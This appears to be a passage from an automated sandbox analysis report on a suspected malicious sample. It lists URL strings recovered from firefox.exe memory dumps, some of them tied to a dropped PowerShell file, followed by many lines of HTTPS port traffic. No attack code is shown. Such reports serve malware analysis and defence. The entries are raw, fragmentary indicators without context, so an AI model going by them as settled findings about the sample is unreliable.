Source: firefox.exe, 00000010.00000003.3264282880.000001A8C31B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3308379802.000001A8B289F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/findUpdates()
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B49A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B61D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6159000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: firefox.exe, 00000010.00000002.3315520315.000001A8B3F66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3275747151.000001A8B8066000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3229813435.000001A8B6D65000.00000004.00000800.00020000.00000000.sdmp, 14287614-3088-4146-9848-cff2ed487ea7.tmp.17.dr	String found in binary or memory: https://www.tiktok.com/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/FIRST_CONTENT_PROCESS_TOPICoperationsRequiringRestartKEY_PLUGIN_ALLOW_X64_O
Source: firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000010.00000002.3336939375.000001A8B7453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236983756.000001A8BFD4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235722215.000001A8C37DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3270005819.000001A8B8DB9000.00000004.00000800.00020000.00000000.sdmp, 14287614-3088-4146-9848-cff2ed487ea7.tmp.17.dr	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 00000010.00000003.3240111814.000001A8BFFCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3265309012.000001A8C0699000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2B0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CD0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000010.00000003.3270005819.000001A8B8DB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3283028567.0000029D55F6A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3284374660.0000029D56104000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3284374660.0000029D56100000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282652339.000002B9C28BA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3291692182.000002B9C2CA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3291692182.000002B9C2CA4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3283065677.000001F42CAEA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3290620208.000001F42CED0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3290620208.000001F42CED4000.00000004.00000020.00020000.00000000.sdmp, Session_13376892216433120.17.dr, History.17.dr, KQGBYWk[1].ps1.6.dr, KQGBYWk.ps1.6.dr	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000000F.00000002.3032272020.000002B535160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevationj%
Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account8WE
Source: firefox.exe, 00000010.00000002.3299533997.000001A8A5D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 00000010.00000002.3299129330.000001A8A5CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountH
Source: firefox.exe, 00000010.00000003.3029532362.000001A8A844F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3304423656.000001A8A844F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2900000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3284374660.0000029D56104000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3283028567.0000029D55F60000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3284374660.0000029D56100000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3291692182.000002B9C2CA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3291692182.000002B9C2CA4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282652339.000002B9C28B0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3290620208.000001F42CED0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3290620208.000001F42CED4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3283065677.000001F42CAE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: firefox.exe, 0000000B.00000002.2991420610.0000027D5D6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account_S
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountbound
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountgetCurrentInnerWindowWithIdbrowser-open-homepage-startVALIDATE_ALLOW_
Source: firefox.exe, 00000010.00000002.3304423656.000001A8A841A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3029532362.000001A8A8425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountl
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3264282880.000001A8C31B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000010.00000003.3270005819.000001A8B8DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
